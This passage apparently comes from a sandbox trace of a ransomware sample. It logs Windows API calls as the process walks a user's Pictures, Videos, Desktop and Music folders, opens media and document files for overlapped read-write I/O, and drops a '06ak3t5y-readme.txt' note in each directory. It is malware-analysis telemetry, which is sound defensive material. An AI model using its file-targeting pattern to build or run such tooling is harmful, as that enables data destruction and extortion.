returned=".png" [0111.572] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x8915) returned 0x53e2ab0 [0111.573] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\4A9u_vMESz0L.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\4a9u_vmesz0l.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4c0 [0111.573] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x86) returned 0x30a9f30 [0111.574] CreateIoCompletionPort (FileHandle=0x4c0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.574] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x53e2ab0) returned 1 [0111.574] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbc09e0, ftCreationTime.dwHighDateTime=0x1d75c5d, ftLastAccessTime.dwLowDateTime=0x7117e9b0, ftLastAccessTime.dwHighDateTime=0x1d75c84, ftLastWriteTime.dwLowDateTime=0x7117e9b0, ftLastWriteTime.dwHighDateTime=0x1d75c84, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="7 Pi7vzW8.jpg", cAlternateFileName="7PI7VZ~1.JPG")) returned 1 [0111.575] PathFindExtensionW (pszPath="7 pi7vzw8.jpg") returned=".jpg" [0111.575] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x618) returned 0x388fd28 [0111.575] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\7 Pi7vzW8.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\7 pi7vzw8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4c4 [0111.575] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x80) returned 0x367b238 [0111.576] CreateIoCompletionPort (FileHandle=0x4c4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.576] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x388fd28) returned 1 [0111.576] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde07c760, ftCreationTime.dwHighDateTime=0x1d7579e, ftLastAccessTime.dwLowDateTime=0x38768560, ftLastAccessTime.dwHighDateTime=0x1d75a1a, ftLastWriteTime.dwLowDateTime=0x38768560, ftLastWriteTime.dwHighDateTime=0x1d75a1a, nFileSizeHigh=0x0, nFileSizeLow=0x12d39, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="92 eOZAcyO.png", cAlternateFileName="92EOZA~1.PNG")) returned 1 [0111.576] PathFindExtensionW (pszPath="92 eozacyo.png") returned=".png" [0111.577] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x12e89) returned 0x53eb3d0 [0111.578] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\92 eOZAcyO.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\92 eozacyo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x340 [0111.578] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x82) returned 0x30a9fc0 [0111.579] CreateIoCompletionPort (FileHandle=0x340, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.579] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x53eb3d0) returned 1 [0111.579] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5865770, ftCreationTime.dwHighDateTime=0x1d75ae9, ftLastAccessTime.dwLowDateTime=0x2620c950, ftLastAccessTime.dwHighDateTime=0x1d75b16, ftLastWriteTime.dwLowDateTime=0x2620c950, ftLastWriteTime.dwHighDateTime=0x1d75b16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Jx8S eL50h-5", cAlternateFileName="JX8SEL~1")) returned 1 [0111.579] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040300 [0111.579] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x80) returned 0x367b2c0 [0111.580] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xa6) returned 0x3678cc8 [0111.580] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\Jx8S eL50h-5\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\jx8s el50h-5\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0111.580] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3678cc8) returned 1 [0111.580] WriteFile (in: hFile=0x4c8, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.581] CloseHandle (hObject=0x4c8) returned 1 [0111.581] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc475a3f0, ftCreationTime.dwHighDateTime=0x1d758c3, ftLastAccessTime.dwLowDateTime=0xf01ec720, ftLastAccessTime.dwHighDateTime=0x1d75c10, ftLastWriteTime.dwLowDateTime=0xf01ec720, ftLastWriteTime.dwHighDateTime=0x1d75c10, nFileSizeHigh=0x0, nFileSizeLow=0xa3a6, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="OHuX.jpg", cAlternateFileName="")) returned 1 [0111.581] PathFindExtensionW (pszPath="ohux.jpg") returned=".jpg" [0111.582] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\OHuX.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\ohux.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4c8 [0111.584] CreateIoCompletionPort (FileHandle=0x4c8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.584] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x53fe268) returned 1 [0111.584] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc475a3f0, ftCreationTime.dwHighDateTime=0x1d758c3, ftLastAccessTime.dwLowDateTime=0xf01ec720, ftLastAccessTime.dwHighDateTime=0x1d75c10, ftLastWriteTime.dwLowDateTime=0xf01ec720, ftLastWriteTime.dwHighDateTime=0x1d75c10, nFileSizeHigh=0x0, nFileSizeLow=0xa3a6, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="ohux.jpg", cAlternateFileName="")) returned 0 [0111.584] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0111.584] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9cf0) returned 1 [0111.584] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400b0) returned 1 [0111.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d20bf60, ftCreationTime.dwHighDateTime=0x1d75860, ftLastAccessTime.dwLowDateTime=0x447e640, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x447e640, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0111.585] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d20bf60, ftCreationTime.dwHighDateTime=0x1d75860, ftLastAccessTime.dwLowDateTime=0x447e640, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x447e640, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0111.585] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x447e640, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x447e640, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x4483460, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0111.585] PathFindExtensionW (pszPath="6m-q9ulnp3xli0th9d.swf") returned=".swf" [0111.585] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\6M-Q9UlNp3XLi0Th9D.swf" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\6m-q9ulnp3xli0th9d.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4cc [0111.587] CreateIoCompletionPort (FileHandle=0x4cc, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.587] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5408768) returned 1 [0111.587] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\fipEyERYZRw\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\fipeyeryzrw\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0111.587] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207abb0) returned 1 [0111.587] WriteFile (in: hFile=0x4d0, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0111.588] CloseHandle (hObject=0x4d0) returned 1 [0111.588] PathFindExtensionW (pszPath="lhrw-ofd5-ayp.swf") returned=".swf" [0111.589] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\LHrw-Ofd5-AYP.swf" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\lhrw-ofd5-ayp.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4d0 [0111.590] CreateIoCompletionPort (FileHandle=0x4d0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.591] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5418d58) returned 1 [0111.591] PathFindExtensionW (pszPath="z-fmcka2h6r85k8k26.avi") returned=".avi" [0111.592] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\Z-FMcKa2H6R85k8k26.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\z-fmcka2h6r85k8k26.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4d4 [0111.593] CreateIoCompletionPort (FileHandle=0x4d4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.593] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x542bc90) returned 1 [0111.593] PathFindExtensionW (pszPath="z0vlex5.mkv") returned=".mkv" [0111.594] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\X S0iscqfU24AFGb\\Z0VlEX5.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\x s0iscqfu24afgb\\z0vlex5.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4d8 [0111.595] CreateIoCompletionPort (FileHandle=0x4d8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.595] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5442a48) returned 1 [0111.595] PathFindExtensionW (pszPath="1y grv1.flv") returned=".flv" [0111.596] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\ZdWuS5tcKVrW0\\1y gRV1.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\zdwus5tckvrw0\\1y grv1.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4dc [0111.597] CreateIoCompletionPort (FileHandle=0x4dc, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.597] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x39780a0) returned 1 [0111.597] PathFindExtensionW (pszPath="bltfbzec.mkv") returned=".mkv" [0111.598] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\ZdWuS5tcKVrW0\\blTfBZec.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\zdwus5tckvrw0\\bltfbzec.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4e0 [0111.599] CreateIoCompletionPort (FileHandle=0x4e0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.599] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5459c10) returned 1 [0111.599] PathFindExtensionW (pszPath="ybkt7h0xw.mkv") returned=".mkv" [0111.599] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Videos\\e xYTCaRLnxwOjYPkpp\\ZdWuS5tcKVrW0\\yBKT7h0xW.mkv" (normalized: "c:\\users\\keecfmwgj\\videos\\e xytcarlnxwojypkpp\\zdwus5tckvrw0\\ybkt7h0xw.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4e4 [0111.600] CreateIoCompletionPort (FileHandle=0x4e4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.601] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x546a520) returned 1 [0111.601] PathFindExtensionW (pszPath="6ma8idlql zg7hta79d.pdf") returned=".pdf" [0111.601] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\LpHikdOe2SJQv\\6ma8iDLQL zg7Hta79d.pdf" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\lphikdoe2sjqv\\6ma8idlql zg7hta79d.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4e8 [0111.602] CreateIoCompletionPort (FileHandle=0x4e8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.603] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5475dc8) returned 1 [0111.603] PathFindExtensionW (pszPath="ju2dwpcnnuwf8iyksps.flv") returned=".flv" [0111.604] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\LpHikdOe2SJQv\\jU2dwPcnnUwF8IYKsPS.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\lphikdoe2sjqv\\ju2dwpcnnuwf8iyksps.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4ec [0111.605] CreateIoCompletionPort (FileHandle=0x4ec, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.605] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5482780) returned 1 [0111.605] PathFindExtensionW (pszPath="a9kbx_i7_81zl_wld i.pps") returned=".pps" [0111.605] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\A9kBx_I7_81ZL_WLd i.pps" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\a9kbx_i7_81zl_wld i.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4f0 [0111.606] CreateIoCompletionPort (FileHandle=0x4f0, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.606] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x5496268) returned 1 [0111.607] PathFindExtensionW (pszPath="mglb3m 9jo2-.mkv") returned=".mkv" [0111.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\MGLB3m 9Jo2-.mkv" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\mglb3m 9jo2-.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4f4 [0111.609] CreateIoCompletionPort (FileHandle=0x4f4, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.609] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x549d0d8) returned 1 [0111.609] PathFindExtensionW (pszPath="nz3da1n2c.bmp") returned=".bmp" [0111.610] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\nZ3da1n2c.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\nz3da1n2c.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4f8 [0111.611] CreateIoCompletionPort (FileHandle=0x4f8, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.611] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x54b3608) returned 1 [0111.612] PathFindExtensionW (pszPath="xxycwgnrgtoqh8xuwghr.png") returned=".png" [0111.612] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\n 1idH_MUb\\XXYcwGNRGtoqH8xuWghR.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\n 1idh_mub\\xxycwgnrgtoqh8xuwghr.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x4fc [0111.614] CreateIoCompletionPort (FileHandle=0x4fc, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.614] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x54b7108) returned 1 [0111.614] PathFindExtensionW (pszPath="e8-6d21hkd5pbh.avi") returned=".avi" [0111.614] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\e8-6d21hKD5pBh.avi" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\e8-6d21hkd5pbh.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x500 [0111.615] CreateIoCompletionPort (FileHandle=0x500, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.615] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x54ca398) returned 1 [0111.615] PathFindExtensionW (pszPath="em6uqofgb.png") returned=".png" [0111.616] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\em6UqOfGB.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\em6uqofgb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x504 [0111.617] CreateIoCompletionPort (FileHandle=0x504, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.617] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x54d2210) returned 1 [0111.617] PathFindExtensionW (pszPath="gdmtnot2.png") returned=".png" [0111.618] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\gdmTnOT2.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\gdmtnot2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x508 [0111.619] CreateIoCompletionPort (FileHandle=0x508, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.619] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x54e31a8) returned 1 [0111.620] PathFindExtensionW (pszPath="kezkwf.bmp") returned=".bmp" [0111.620] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\KEzKWF.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\kezkwf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x50c [0111.622] CreateIoCompletionPort (FileHandle=0x50c, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.622] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x54f8c90) returned 1 [0111.622] PathFindExtensionW (pszPath="yx_kr6pa1y0lfmpitnrs.ppt") returned=".ppt" [0111.622] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aJV56WBKgKcY0uVz\\Nmla9n22s\\YsmXBqSRct\\YX_kr6Pa1Y0lFMPITNrS.ppt" (normalized: "c:\\users\\keecfmwgj\\desktop\\ajv56wbkgkcy0uvz\\nmla9n22s\\ysmxbqsrct\\yx_kr6pa1y0lfmpitnrs.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0x510 [0111.623] CreateIoCompletionPort (FileHandle=0x510, ExistingCompletionPort=0x220, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x220 [0111.623] PostQueuedCompletionStatus (CompletionPort=0x220, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x3979950) returned 1 [0111.623] PathFindExtensionW (pszPath="aii-h4hzn5ce.mp3") returned=".mp3" [0111.624] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\Vyk4a7cn3j VpZp\\AiI-H4HZN5CE.mp3" (normalized: 